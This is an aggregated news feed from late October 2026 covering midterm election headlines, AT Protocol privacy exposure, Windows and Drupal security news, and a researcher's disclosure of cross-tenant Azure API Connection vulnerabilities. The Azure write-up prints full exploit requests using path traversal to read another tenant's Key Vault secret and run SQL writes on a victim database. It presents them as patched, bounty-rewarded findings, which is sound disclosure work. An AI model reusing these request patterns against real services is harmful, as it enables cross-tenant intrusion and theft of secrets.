Watch Headlines

DOJ Opens Criminal Probe of California Mail-In Ballots Despite Judge’s Order

Oct 30, 2026

With just days to go before historic midterm elections, the Trump administration has issued grand jury subpoenas to local election officials in California, seeking unredacted voter records as part of a criminal investigation into the state’s voter rolls. At least one of the subpoenas was delivered after a federal judge rejected the Justice Department’s effort to force California to immediately set aside 20,000 ballots from people it claims are “likely noncitizens.” Such voter fraud is exceedingly rare. The court determined the move would wreak havoc with an election that is already underway, create a chilling effect on election workers and voters, and discount the votes of citizens. The subpoenas order the election officials to testify before a grand jury in a criminal investigation on November 4, the day after the election.

This comes as a report in Wired found the law firm that helped set up Elon Musk’s super PAC has created a new, nationwide so-called election integrity organization aligned with President Trump’s false claims of election fraud. The nonprofit organization is called the Association of State and Local Election Officials. It was established by lawyer Chris Gober, a former director and top lawyer for Musk’s America PAC . Gober is running as a Republican for Texas’s 10th Congressional District, which is home to the massive Terafab chip factory being built by Tesla and SpaceX.

Corporations Spend $737M on Midterm Elections as Super-Rich Give $4.2B to Super PACs

Oct 30, 2026

A new analysis by Public Citizen finds corporations have spent at least $737 million so far on the 2026 election cycle — a 60% increase from the 2024 election. That compares to less than $13 million spent by corporations on the 2010 midterm elections, before the Supreme Court ruled in Citizens United that political spending is a form of constitutionally protected free speech.

Meanwhile, super PACs have reported receiving $4.2 billion from 515 donors contributing at least $1 million each this year. The record super PAC spending is led by Elon Musk, who’s contributed at least $445 million during this election cycle.

Trump Returns to South Carolina to Rally GOP Support as Pollsters Declare Senate Race a Toss-Up

Oct 30, 2026

President Trump made his second trip to South Carolina in two weeks on Thursday as he seeks to salvage support for Republican candidates in deep-red states ahead of Tuesday’s midterm elections. Trump won South Carolina by 18 points two years ago, but recent polls show the state’s Senate race is effectively tied, with even Fox News declaring it a “toss-up.” Incumbent Senator Darline Graham had no experience as an elected official when she was appointed to fill the seat left vacant when her brother, the longtime Republican Senator Lindsey Graham, died in July. Graham faces challenger Dr. Annie Andrews, a pediatrician from Charleston who’s campaigning on her medical record. Andrews opposes cuts to Medicaid and supports a public health insurance option, but has opposed Medicare for All. Senator Graham spoke briefly alongside President Trump at a rally in Rock Hill. She described herself as a “conservative Christian” and her opponent as “batshit crazy.” She also had this to say.

Sen. Darline Graham : “I don’t know about you, but I will not allow the liberals and socialists to turn South Carolina blue. You know what? They can just kiss my ass.”

President Trump has reversed his decision to cancel his plans to rally Republican support in Kansas and Iowa over the weekend. On Thursday the White House said Trump would make shorter appearances at a series of “telerallies” but Trump announced on Friday that he would go to the states.

DOJ Ramps Up Criminal Probe of Alaska Senate Candidate Mary Peltola’s Campaign with Subpoenas

Oct 30, 2026

Image Credit: Al Grillo/ZUMA Press Wire

The Justice Department has issued subpoenas in response to a New York Times report that found operatives linked to Democratic Alaskan Senate candidate Mary Peltola successfully recruited a second Dan Sullivan to draw votes from Republican Senator Dan Sullivan on the state’s four-person ballot. Peltola has denied a former staffer’s account that she was aware of the effort. It’s not clear which federal law would justify a federal investigation, though President Trump has called for a criminal prosecution of Peltola and her campaign, while Alaska’s Republican governor has ordered a state criminal and civil investigation.

Famine Declared in Yemeni City of Taiz Amid Houthi Siege

Oct 30, 2026

In Yemen, the governor of Taiz says the city of roughly 1 million people has entered into famine due to a weekslong siege by fighters with the Ansar Allah movement, known as the Houthis. Human Rights Watch said Thursday the siege could amount to the war crime of using starvation as a method of warfare. The famine declaration came as a Saudi airstrike on Taiz killed 13 people. That followed a Houthi attack on Aden’s airport that injured passengers and halted flights. Meanwhile, the Houthis are rejecting claims by the Saudi-led coalition that Saudi air defenses intercepted missiles fired toward Mecca.

Sen. Chris Murphy Calls Trump’s Plans to Renew Attacks on Iran “Insane”

Oct 30, 2026

Image Credit: Middle East Institute

Another tanker has been struck while transiting the Strait of Hormuz. Iranian forces reportedly deployed a new tactic of strapping explosives to a small boat. It was at least the 35th attack on a ship near the strait since the start of October. It came after Connecticut Democratic Senator Chris Murphy issued a warning over his recent briefing with Pentagon officials on President Trump’s plans to launch intense new strikes on Iran after the midterm elections. Murphy spoke with the Middle East Institute.

Sen. Chris Murphy : “You’ve heard a preview that it would be a short-duration plan. I will just say this: Their plan is insane. It won’t — it won’t — it will lead to devastating escalation and the likely destruction of our commitment to the rule of law.”

Russian Strike Kills 14 at Crowded Train Station in Ukraine as Another Ship Is Sunk in Black Sea

Oct 30, 2026

Image Credit: Emergency Service of Ukraine

In Ukraine, a Russian drone struck a crowded railroad station in the eastern city of Dnipro on Thursday, killing at least 14 people. More Russian attacks killed at least six people elsewhere in Ukraine. The strikes came after sea drones attacked a Greek container ship off the coast of Bulgaria on Wednesday, sinking the vessel. All 15 crew members were evacuated. It’s the latest in a series of drone strikes on civilian ships in the Black Sea blamed on both Ukraine and Russia. On Wednesday, Greek Prime Minister Kyriakos Mitsotakis called for a global maritime truce during a meeting of the U.N. Security Council.

Prime Minister Kyriakos Mitsotakis : “Just yesterday, another commercial cargo vessel, owned by a Greek company, was attacked and sank in the Black Sea. We strongly condemn this attack. Targeted civilian commercial shipping is completely unacceptable. It is yet another reminder for the urgent need for a global maritime truce, ensuring that commercial vessels can navigate safely and freely, even in times of conflict.”

Ukraine Halts Attacks on Russian Refineries at Trump’s Request, as Russian Diesel Heads Toward U.S.

Oct 30, 2026

Image Credit: Greenpeace

The Wall Street Journal reports Ukraine’s military has paused its strikes against Russian oil refineries, at President Trump’s request. The unofficial pause is expected to last through the U.S. midterm elections next week. It began last week, after President Trump called on Ukrainian President Volodymyr Zelensky to step down and after Elon Musk temporarily limited Ukraine’s ability to use the Starlink and Starshield internet satellite networks in its aircraft and drones.

Meanwhile, Greenpeace says it’s tracking seven oil tankers carrying an estimated 288,000 tons of Russian diesel toward the U.S. This week, Senator Richard Blumenthal sent letters to shipping companies warning them that delivering Russian diesel to U.S. ports would violate federal law — despite authorization from the Trump administration. “Reverse course while there’s still time,” Senator Blumenthal wrote.

GEO Group Signs 10-Year Contract to Continue Operating Notorious Tacoma ICE Jail

Oct 30, 2026

In immigration news, the number of ICE jails nationwide has more than doubled since President Trump returned to office, with his administration allocating billions of dollars for the mass detention of tens of thousands of immigrants.

In Washington state, the troubled Northwest Detention Center in Tacoma will continue to operate for another 10 years, after the for-profit prison company GEO Group signed a $1.5 billion contract with the federal government. Advocates have long reported on human rights violations, including sexual violence, as well as numerous deaths at Northwest, where immigrants have repeatedly staged hunger and labor strikes demanding their release.

Meanwhile, in Minnesota, local station KARE 11 reports the Trump administration used taxpayer funds to purchase a shuttered private prison earlier this year in the rural city of Appleton for nearly $496 million to use as an ICE jail. That amount was more than six times the cost of CoreCivic’s initial offer to sell the prison to the state of Minnesota for about $75 million. This follows an unprecedented $45 billion given to ICE to expand its detention capacity as part of Trump’s so-called One Big Beautiful Bill Act.

Meanwhile, the ACLU and a coalition of rights groups are suing the Trump administration over its disappearance of immigrants in ICE custody. The policy allows ICE to hide the whereabouts of people in detention, leaving their families and lawyers unable to locate and communicate with them.

El Salvador Deploys 2,000 Troops to Haiti

Oct 30, 2026

Image Credit: El Salvador Presidency Handout

El Salvador’s President Nayib Bukele has deployed more than 2,000 soldiers to Haiti in a move human rights advocates say could further destabilize the nation and add to rising violence. Trump has reportedly backed Bukele’s deployment of troops, with Bukele claiming his soldiers only intend to rescue four Salvadoran aviation technicians who’d been kidnapped by gangs in Haiti. Back in El Salvador, Bukele’s so-called state of exception, first declared in 2022, has led to the arbitrary arrest of tens of thousands of people, many wrongfully accused of being gang members and denied due process rights while imprisoned in torturous conditions. Bukele spoke from San Salvador Thursday.

President Nayib Bukele : “I told the gangs in Haiti, 'We wiped out the gangs in El Salvador, and we can do the same to you.' In other words, it was a warning. And our mission isn’t to wipe out the gangs in Haiti, but our mission is to rescue our four members. Now, if they don’t hand them over willingly, well, we’ll rescue them by force.”

Flávio Bolsonaro Declares He’s Brazil’s “Legitimate” Leader After Trump Helps Him Flee to Miami

Oct 30, 2026

The New York Times reports President Trump ensured Flávio Bolsonaro could flee Brazil and enter the United States after Bolsonaro’s election loss to Brazilian President Luiz Inácio Lula da Silva. Despite his defeat, Bolsonaro has declared himself the “legitimate” leader of Brazil, claiming — without evidence — the election results were fraudulent. Trump has also falsely claimed Brazil’s election appeared to be “rigged.”

Bolsonaro faces multiple criminal investigations in Brazil, and authorities had requested he surrender his passport when he escaped to Argentina and then Ecuador before landing in Miami Wednesday on a private plane. Trump will likely grant Bolsonaro permanent residency in the U.S., according to U.S. officials who spoke to The New York Times. Flávio Bolsonaro is the son of former Brazilian far-right President Jair Bolsonaro, who is serving a 27-year sentence under house arrest for orchestrating a failed coup attempt after he lost the 2022 election to Lula.

The original content of this program is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License . Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.

Do At-Proto Users Know This Is Public?

Lobsters
melaniekat.com
2026-10-30 07:22:43
Comments...
Original Article

I’ve been exploring the AT Protocol “atmosphere” that Bluesky runs on to get a better understanding of what people are doing with it. What I’ve found is a bunch of private data I’m not sure people know is public. Not only public, it’s easy to find.

To start my exploration I used two websites that catalog AT Protocol apps: atstore.fyi and atmosphereaccount.com . I’m a long time RSS user, so I got curious about feed readers first. I found this one called Skyreader and I noticed that their page on atstore.fyi contained reviews and mentions of the app by people who have used it. We’ll come back to this in a minute.

Something to know about Bluesky is that you can self-host what they call a personal data server or “PDS.” It’s where your data on Bluesky and other apps are stored, and it’s mostly public. Using a website like PDSls.dev you can explore it yourself. So if you wanted to see my data it’s here . I can’t control how or what you do with it, it just exists.

I didn’t want to authenticate my account with Skyreader without knowing what it would store publicly. So remember those reviews that people left for Skyreader on atstore.fyi? They’re all listed next to their account names, so I put their handles in to PDSls to get a sense of what would be public. From this I learned that each feed you subscribe to is published in the lexicon (what Bluesky calls an object of data with a schema) app.skyreader.feed.subscription which contains a key called feedUrl that contains the RSS feed. Cool, so now I know not to put feeds I don’t want my name associated with in there.

Without trying, I found someone’s private Club MacStories feed, which gave me full access to their content. With a little effort I found paywalled feeds for 404 Media’s full text feeds, Patreon backer exclusive feeds, and private RSS feeds for Gitlab repositories.

This led me to seeing what else someone could do with all this openly available data. So I investigated searching across a Bluesky relay (like bsky.network ) to pull down every collection record for app.skyreader.feed.subscription . It’s not as simple as one API call, because what this returns is an array of DIDs (decentralized identifiers) and from there you can look up the PDS server to request those collection records with the actual data.

This gave me over 1,300 RSS feeds people had subscribed to on Skyreader. No authentication, no real restrictions. It’s all just publicly available data on the internet.

It’s not just a Skyreader thing, I’ve noticed a few Discord clones store every message openly. There’s a Twitch clone that is the same way. I can watch as people chat all across Stream.place and even search the data. If you could easily search all of Twitch chat I think that would make some people sweat bullets.

I’m sure some people will say, “Sure, that’s the point,” but I’m not convinced the users understand the risk.

Microsoft finally fixes VPN issues caused by September updates

Bleeping Computer
www.bleepingcomputer.com
2026-10-30 07:20:26
Microsoft has resolved Always On VPN connection failures triggered after installing the September 2026 Windows 11 security updates. [...]...
Original Article

Windows 11

Microsoft has resolved Always On VPN connection failures triggered after installing the September 2026 Windows 11 security updates.

The Always On VPN remote access solution runs in the background and establishes secure tunnels back to the user's corporate network when their devices connect to the Internet. It has replaced the legacy DirectAccess technology and supports domain-joined, non-domain-joined, and Microsoft Entra ID–joined devices running Windows 10, Windows 11, and Windows Server.

Microsoft has previously mistakenly flagged this known issue as fixed in the October 2026 Windows 11 cumulative updates.

The company first acknowledged it in a service alert sent to IT administrators in late September, saying the Always On VPN failures were triggered on Windows 11 systems by the September 2026 security updates when using automatic protocol selection with IKEv2 and SSTP.

On Wednesday, Microsoft confirmed that this issue has finally been fixed for users who installed this month's KB5127936 preview update .

"This update fixes an issue that affects Always On VPN connections after installing September security update," it said . "When automatic protocol selection or protocol fallback was configured, affected VPN connections could remain stuck in a Connecting state or fail to connect after an initial connection attempt failed. In some cases, subsequent connection attempts could display the error, 'The specified port is already in use.'"

Workaround also available

Microsoft also provides a temporary fix for users who don't want to install the preview update and would rather wait for next month's Patch Tuesday cumulative updates.

This requires admins to choose one of two tunneling protocols to prevent Always On VPN failures on affected devices.

"IT administrators can mitigate this issue by changing the Always On VPN profile from automatic protocol selection to a single protocol, either SSTP only or IKEv2 only, depending on their environment and configuration," Microsoft said.

"Organizations should select the protocol based on their environment, security, and deployment requirements."

The October 2026 preview update also fixes a known issue preventing non-admin users from connecting to devices via Remote Desktop when the "Administrator protection" security feature is enabled after installing the September 2026 Windows 11 non-security preview update (or Windows updates released since then).

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Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

Get the report

Fiber lasts decades, GPUs last three years: the AI boom isn't the dot-com boom [video]

Hacker News
www.youtube.com
2026-10-30 07:16:15
Comments...

Backdoors in official Claude Code extensions

Hacker News
cyberplace.social
2026-10-30 07:05:53
Comments...

After 50 years of playing video games, I’m finally starring in one

Guardian
www.theguardian.com
2026-10-30 06:30:51
Voicing the main character in Black Tides Draga’s Wake led to me making the kinds of noises I haven’t made since my honeymoon but also one of my favourite moments as a father “I listen to you on the radio and I keep hearing your voice in my head!” Not a typical opening to a creative partnership, but...
Original Article

“I listen to you on the radio and I keep hearing your voice in my head!”

Not a typical opening to a creative partnership, but that is how Greg Strangis introduced himself to me 16 months ago, when he asked me to come to his garage in the middle of nowhere and have a look at a game he was making called Black Tides Draga’s Wake.

If this sounds dodgy, remember that when I was 21 years old, a posh bloke asked me to come to a random church in the East End of London and talk saucy in front of him and a couple of other posh blokes. This turned out to be my audition for GamesMaster.

So, I go to Greg’s garage. He has a giant yet well groomed beard, eyes that flash with intensity underneath one of those Peaky Blinders caps and talks faster than other humans. He’s basically a hipster Rasputin. He is also a character artist who has worked for Rockstar, Naughty Dog and Guillermo del Toro. He ticks all the genius boxes for me.

And then I see the actual game. It is gorgeously dark and twisted: a survival horror game set on a decaying 1900s steamship after a heist gone wrong. The titular Draga is a big, tough-as-hell sailor with a dark past, infected by an ancient god that grows within him.

A man’s hand glows with purple energy as a bloodied creature’s claw reaches toward a bearded figure
Gorgeously dark and twisted … Black Tides Draga’s Wake. Photograph: Strange Creature Factory Ltd.

It sounds exciting, it sounds original, it sounds terrifying. And he wants me to be in it.

But it sounds nothing like me. I am not a sailor. I am not big and tough as hell, and the only ancient god I have ever been infected with is gout. (Trust me, the pain is biblical.)

I am going to have to … act .

I did study drama at university, but this was the University of Bristol in the early 90s, so it was less about high kicking on stage to Oklahoma or learning Shakespearean monologues and more about poring over some obscure Russian play where potatoes are a metaphor for gender politics, written by a bloke who once gave Gorky a lift.

I never told Greg this at the time, but when I see my first attempts at voice acting play out in the game, I don’t like it. I see this amazing badass character smashing disgustingly huge monsters with my tinny tones coming out of him. So I lower my voice ever so slightly and stop trying to act so much. And it works! Helpfully, Greg’s direction always makes me feel comfortable and encouraged.

Every time I turn up for a session I am inspired by the work done by the team, who are in different corners of the world, doing this in their spare time. I see their message threads with all kinds of ideas, pictures and animations. It reminds me of the bedroom programming culture of the ZX Spectrum, fuelled by the unshakeable belief in an idea and a passion for gaming. In an age where huge publishers are decimating studios all over the world, it is a reminder of how vibrant game-making can still be.

Dominik Diamond wears headphones and speaks animatedly into a smartphone on a selfie rig
Existential crisis … Dominik as a survival horror action hero. Photograph: Dominik Diamond

I don’t want to be the weak link in this chain. I don’t want my performance to be something that takes a prospective publisher out of the moment. I learn to love pushing and pulling the words in different directions. The biggest challenge is improvising fight noises that Greg and the team can add in wherever and whenever they want. During the game this is supposed to seem natural, but in reality it is a Scottish dad in his 50s making the kinds of noises he hasn’t made since his honeymoon. In a garage. In the middle of rural Nova Scotia. With another guy telling him he has to be more aggressive.

It’s unbearably weird when I play the game. I feel distraught when I die, because it is me. I feel equally bad when I see other people playing the game, leading to uncomfortable new thoughts about video game characters’ lack of free will. It’s all a bit of an existential crisis.

But then I play clips for my kids without telling them I am in it. I see their faces break out into wide grins as they realise it’s their grumpy old Scottish dad playing a survival horror action hero. It’s one of my favourite ever moments as a parent.

It has also made me appreciate voice acting in games, something that didn’t register with me before, because for me it always felt like the character talking – which is testament to the quality of voice acting and directing in games. Or at least games since the original Resident Evil. I now truly appreciate performances like Nolan North as Nathan Drake, Ashley Johnson in The Last of Us, and every single actor who says any of the words in Expedition 33.

The announcement trailer for Black Tides Draga’s Wake dropped a month ago. It got 200,000 views in the first couple of days. Greg is in discussions with assorted publishers. I still have to pinch myself that after playing games for 50 years, I am finally going to be in one.

Anthropic hacked to deliver remote access trojan

Hacker News
doublepulsar.com
2026-10-30 06:22:51
Comments...
Original Article

Why have I been blocked?

This website is using a security service to protect itself from online attacks. The action you just performed triggered the security solution. There are several actions that could trigger this block including submitting a certain word or phrase, a SQL command or malformed data.

What can I do to resolve this?

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Drupal warns of critical Commerce Core flaw exploited in attacks

Bleeping Computer
www.bleepingcomputer.com
2026-10-30 06:16:07
Drupal warned admins to patch a critical access bypass vulnerability in the Commerce Core module that attackers are exploiting in the wild. [...]...
Original Article

Drupal

Drupal warned admins to patch a critical access bypass vulnerability in the Commerce Core module that attackers are exploiting in the wild.

Tracked as CVE-2026-118539 , this flaw stems from a missing authorization weakness that can be abused by unauthenticated attackers and affects Commerce Core versions 0.0.0 through 2.41 and 3.0.0 through 3.3.13.

The Drupal security team asked admins on the 3.x branch to upgrade immediately to Commerce Core 3.3.13 (or Commerce Core 8.x-2.41 for earlier versions) and audit orders for inconsistencies, since threat actors are exploiting this vulnerability in attacks.

"This module enables you to sell goods and services to customers through an included shopping cart and checkout form or through decoupled applications via APIs," Drupal said in a Wednesday advisory tagged as highly critical.

"The module doesn't sufficiently protect certain routes and entity fields, leading to an access bypass that may financially impact the vendor. This vulnerability is being actively exploited in the wild."

Commerce Core is a community-developed Drupal module used by more than 42,000 websites , including many high-profile organizations such as Fortune 500 companies and research universities.

The module provides a software framework for building and running e-commerce sites and shopping apps on top of the Drupal Content Management System (CMS).

In May, Drupal also warned that attackers were exploiting an SQL injection vulnerability (CVE-2026-9082) in the database abstraction API that could lead to privilege escalation, information disclosure, and remote code execution.

Days later, the US Cybersecurity and Infrastructure Security Agency (CISA) added the flaw to its Known Exploited Vulnerabilities (KEV) Catalog and ordered federal agencies to patch their systems within three days.

Two weeks ago, Drupal patched two more remote code execution security issues (CVE-2026-108097 and CVE-2026-108099) that could allow threat actors to execute code remotely, and urged admins to apply updates as soon as possible because attackers could develop exploits "within hours or days."

Over the last several years, CISA has flagged 5 Drupal vulnerabilities exploited in the wild, two of which have also been abused by ransomware gangs.

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Azure's Weakest Link – Five Full Cross-Tenant Compromises

Hacker News
www.binarysecurity.no
2026-10-30 06:06:15
Comments...
Original Article

In my previous blog posts, Azure’s Weakest Link? and Azure’s Weakest Link - Full Cross-Tenant Compromise , I gave an overview of the severely insecure architecture behind API Connections in Azure, a part of Azure Logic Apps, and an instance of a full cross-tenant compromise using these inherent flaws. Now I am back with some more vulnerabilities in this system, each giving the same primitives to the attacker. In total, the vulnerabilities here netted me a cool $200,000.

I also held a talk detailing this at Blue Hat Asia 2026, and when the recordings are out, I will add a link here.

TL;DR

API Connections allow anyone to fully compromise any other connection worldwide, giving full access to the connected backend. This includes cross-tenant compromise of Key Vaults and Azure SQL databases, as well as any other externally connected service, such as Jira or Salesforce. The only thing stopping exploitation is really the layers of input validation bolted onto the various systems, but as you will see, it is really difficult to catch all the edge cases here.

Architecture

If you haven’t read the first parts of this series, I would recommend checking those out first, Azure’s Weakest Link? - Part 1 and Azure’s Weakest Link - Full Cross-Tenant Compromise , but if you don’t care, I will go through the most important parts of the architecture first.

From Microsoft’s documentation , we see a quite intriguing diagram of how the API Connection architecture is built.

Microsoft's documented infrastructure

This basically spells out all that is needed to understand how the system operates, kudos to whoever made it!

It works like this

  1. A logic app, the symbol on the bottom left, queries a shared Azure API Management instance
  2. The API Management instance first checks the swagger (OpenAPI) definition of the connector type and checks that it is a valid action
  3. A sort of key exchange happens where the input token, or key, is exchanged for the configured token for the backend service
  4. The API Management instance finishes the call with this new token to the backend instance.

From this, we can surmise that if we are able to trick the API Management instance to operate on a different connection than the ones we own, we would be able to effectively use the configured token for a victim’s connection on their backend service.

This service can, in effect, be anything. As you can see here , the list of backend services is effectively unbounded and includes a number of Azure services.

However great the diagram is, there is one crucial omission, which we have already used to great effect in part 2 of this series. By using the ARM REST API DynamicInvoke or /extensions/proxy/ endpoints, we can directly query the APIM service through ARM. I have taken the liberty of updating the diagram to match this.

Updated Connector Architecture

Considering this, and the fact that, as a resource manager, ARM basically has full access to everything, our exploitation pathway becomes clear. We must trick the calling service into querying a different connection than ours, and thus get full control of the backend service.

Caveat: It is, of course, possible for the people who set up these connections to scope their access tokens or keys so that the API Connection has minimal privileges in the backend. I would guess, however, that this is rarely done. In the case of OAuth connections, it will surely always be the token of the person who initially made the connection. And for the API key case, well, who cares enough to scope such things minimally? Microsoft doesn’t, at least.

Initial Exploitation

The first cross-tenant exploitation I achieved in API Connections, and in fact in Azure as a whole, has already been described in part 2. As a recap, here is an example payload using the DynamicInvoke endpoint of my own connection to read the Key Vault of a different tenant.

POST /subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/token-storer/providers/Microsoft.Web/connections/custom2/DynamicInvoke?api-version=2018-07-01-preview HTTP/2
Host: management.azure.com
Authorization: Bearer <token>
Content-Type: application/json
Content-Length: 147

{
    "request":{
        "method":"get",
        "path":"path/%2e%2e/%2e%2e/%2e%2e/%2e%2e/apim/keyvault/fd8d0f4f4069495991ccb4974f96a1ed/secrets/victimsecret/value"
    },
}

HTTP/2 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 1329


{
    "response": {
        "statusCode": "OK",
        "body": {
            "value": "dontreadme",
            "name": "victimsecret",
            "version": "7914d45aa60342809fb8cc12dc68b10e",
            "contentType": null,
            "isEnabled": true,
            "createdTime": "2025-04-04T05:38:26Z",
            "lastUpdatedTime": "2025-04-04T05:38:26Z",
            "validityStartTime": null,
            "validityEndTime": null
        },
        "headers": {
            <Headers>
        }
    }
}

As you can see, it’s a pretty clear path traversal vulnerability. This implies what we already assumed: When the request fires from ARM to the APIM instance, it has rights to all connections, regardless of what it operates on.

Further exploitation

A couple of weeks after I reported this vulnerability, it got marked as fixed, and when I tried it again, the following error message greeted me:

Vulnerability fixed by restricting the path

Now, I considered whether or not this was a sufficient fix. It seemed to restrict the paths allowed, rather than the underlying token issue, so I guessed there would be ways around it.

An interesting little fact about the ARM API is that, in some cases, it might not be as much of a black box as you assume. The relevant code can sometimes be found within the resource types themselves. I do not know whether this code actually executes on these machines or is merely included as an artifact, but it is a gold mine of interesting information. So, I created a Standard Logic App, which provides a fully dedicated host, SSHed into it, and extracted the code. Lo and behold, look what I found:

The validation code paths include a check for `../`

Can you see the fix they implemented?

What was even more interesting here actually was something I found, and was not really even looking for. When searching for the actual DynamicInvoke code, what greeted me was not actually just this one public function, but four:

I found other function definitions right next to Dynamic Invoke

These functions are completely undocumented, and I could find no reference to them anywhere. However, they were reachable and located along the same path. So, for instance, to hit DynamicList here, simply change dynamicInvoke in your URI to DynamicList .

Knowing that the slap-dash blacklisting fix that they implemented only applied to DynamicInvoke , I assumed that these would all be vulnerable in the same way if they had the same functionality. Without boring you too much with the required arguments and return values here, the exploitation method is really quite the same, although the payload is a bit more involved. For DynamicList , you need to specify each path parameter on its own and do a bit of work to get a result, but the same logic applies. To achieve, for instance, a cross-tenant write on a victim’s SQL server through their connection, a payload like this works:

POST /subscriptions/162fc6db-03cd-4fe8-ab44-dc0a947e74af/resourceGroups/api-connection/providers/Microsoft.Web/connections/custom_validator/DynamicList?api-version=2018-07-01-preview&_=1765372176638 HTTP/2
Host: management.azure.com
Authorization: Bearer <token>
Content-Length: 524
Content-Type: application/json


{
    "dynamicInvocationDefinition": {
        "operationID": "nine",
        "parameters": {
            "one": {
                "value": ".."
            },
            "two": {
                "value": ".."
            },
            "three": {
                "value": "sql"
            },
            "four": {
                "value": "88d28f5ff7b642cfb91df184938d074c"
            },
            "five": {
                "value": "v2"
            },
            "six": {
                "value": "datasets"
            },
            "seven": {
                "value": "victimservice.database.windows.net,VictimDatabase"
            },
            "eigth": {
                "value": "query"
            },
            "nine": {
                "value": "sql"
            },
            "query": {
                "value": {
                    "query": "Insert INTO MySecrets VALUES ('NewEvilSecrets', 3)"
                }
            }
        },
        "ItemsPath": "ResultSets/Table1",
        "ItemValuePath": "secrets",
        "ItemTitlePath": "value"
    }
}

You can quite easily see that the first parameters here execute the path traversal and then perform an arbitrary SQL query on the database.

I reported only the DynamicList case first, in the hope that they would perform a similar fix to DynamicInvoke and I would get to report on the other two as well. Sadly, their fix involved simply blocking all these endpoints. No other mitigations seem to be in place, however, so if these endpoints ever become accessible again, I would assume they would be vulnerable.

Further exploitation

Messing around with paths in these dynamic calls seemed to have reached its conclusion: I couldn’t get past the path limitations on DynamicInvoke , and all the other endpoints were blocked. What I needed was a different way in. As I was trying to sleep one day, it occurred to me that I had overlooked using the Logic Apps themselves. I realized that there was, in fact, a significant difference between the Consumption and Standard Logic Apps connection-creation flows. The most glaring difference is that Consumption Logic Apps, where your workflow is co-located with a bunch of others, create a Version 1 connection, while the dedicated-host Standard Logic Apps create a Version 2 connection. The following diagrams make a more subtle difference between the flows clear:

The V2 Connection Creation Flow.

The V1 Connection Creation Flow.

Do you see the difference? Obviously, when it’s spelled out like that, it’s pretty clear what the point is. Using a Standard Logic App, after we have created the resource and added whatever authentication to the backend server we need, we authorize that specific logic app to access it using its managed identity. However, when we have a Consumption Logic App, we don’t have any such identity to authorize because we don’t control it. This perhaps makes some sense: we can’t authorize it, so we don’t.

I realized that this must imply that every Consumption Logic App has implicit access to every Version 1 API Connection; the only thing stopping us from exploiting this must be some sort of input validation.

The classic view of a Logic App workflow is quite restrictive in its input, but there are both the API endpoints, and the Code view in the GUI that allow us to play around a bit more with the inputs.

The code view allows for more fine-grained control.

This allows us to see the inputs in more detail, edit them, and even add more. The obvious trick of changing the referenced connector to a victim’s connection fails, as the runtime performs extensive validation that you own the connection. We have the codebase, though, so we can try to find all the valid parameters. It did not take much searching for me to discover the host.api.RuntimeUrl parameter.

I can’t quite get my head around why this parameter is included, nor why it’s still accepted to this day, but it works in the way you would expect. After performing a series of validations on the connection referenced in host.connection , you can specify that it should use something completely different instead of the runtimeUrl baked into that connection. As long as the host ends with azure-apihub.net , it will also include the required Authorization header.

Instead of using the connection's `runtimeUrl`, use a different one.

What happens when this workflow is run then?

The victim's secret is returned.

The keen-eyed reader might notice that the runtimeUrl used in the exploit is not just the connectionId . This is because some extra elements get added to the URI, but it is of no consequence to us; the exploit works fine.

Manna from the heavens

I, of course, reported this to Microsoft again, and they spent some time working up a fix. When it finally came through, the exploit returned an error message:

The host API runtime URL is not valid for the API connection '/subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/token-storer/providers/Microsoft.Web/connections/keyvault-1'. The runtime URL path must match the expected API endpoint 'https://logic-apis-norwayeast.azure-apihub.net/apim/keyvault/cbfb0f4313144117a7440368902bb871?' for the referenced connection. Either omit the 'host.api' input property, or correct the runtime URL to match the API associated with the connection.

Except for the excessive length of this message, it seems like quite a suitable fix. The runtime URL must exactly match what is expected; otherwise, no dice. Apart from just removing the parameter altogether, it’s quite sane. Unless, of course, it checks that value at the wrong time:

Path traversal in RuntimeUrl.

This works again, with the same result. What’s going on here is that the validation happens before the path is normalized, so the runtime thinks the URI is pointing to my referenced connection, but the APIM instance sees it differently.

And just like that, I got another critical vulnerability.

The fun does not stop there. When Microsoft managed to scrape together a fix for this path traversal, a surprising thing happened. The original RuntimeUrl path was no longer validated, and as a result, you could perform that attack again. I would include some pictures, but they would be the same pictures as above, so you can just imagine them.

Reporting and rewards

Altogether, API Connections have netted me five critical elevation-of-privilege vulnerabilities in Azure, which is perhaps more than expected. All vulnerabilities reported here were fixed within a reasonable time after I submitted the reports, and while there were some disagreements with MSRC along the way, overall, I am quite happy with the results.

How AIPAC and AI Spent Their Money This Midterm Election

Intercept
theintercept.com
2026-10-30 06:00:00
Intercept staff take stock of the big spenders this election cycle. The post How AIPAC and AI Spent Their Money This Midterm Election appeared first on The Intercept....
Original Article

It’s a superlative achieved again and again: The current election cycle is the most expensive on record, according to AdImpact, likely to be surpassed only by the next one. North of $16 billion have been raised ahead of Tuesday’s looming elections, with ad spending in House and Senate races topping $4 billion . Mega-donors this election season have overwhelmingly backed Republicans with contributions largely flowing from AI, crypto, and online gambling interests.

The Intercept tracked how super PAC spending is flowing into the midterms and how growing public skepticism of special-interest money in politics is affecting campaign strategies. Hundreds of candidates are still taking donations from the American Israel Public Affairs Committee and its super PAC, the United Democracy Project, despite public sentiment turning against the pro-Israel lobby.

“The data overall reveals that [AIPAC is] still spending a ton of money on a lot of races, and more often than not, their candidates are still winning,” Intercept managing editor Maia Hibbett told The Intercept Briefing. “It is still quite meaningful money.”

Artificial intelligence super PACs have also poured tens of millions of dollars into this election cycle, most of it on just a few races in the primaries. The two leading AI super PAC networks, affiliated with OpenAI or Anthropic, dropped a whopping $50.7 million on the primaries, but are noticeably spending much less in the lead-up to the general election, $8.5 million — likely responding to public backlash in the same way that AIPAC has.

“The polls are just so startling on the public’s transformation on AI and data centers over the last year. … The entire life cycle of these AI super PACs, which started about a year ago, has followed that evolution of the public’s opinion,” said Intercept politics reporter Matt Sledge. “One of the things that’s been really interesting in the general election races is … candidates [trying] to paint themselves as the more pro-AI safety, pro-AI regulation candidate.”

This week on the podcast, host Jessica Washington speaks to Hibbett and Sledge about the spending trends in the most expensive election cycle to date and unpack the intended impact.

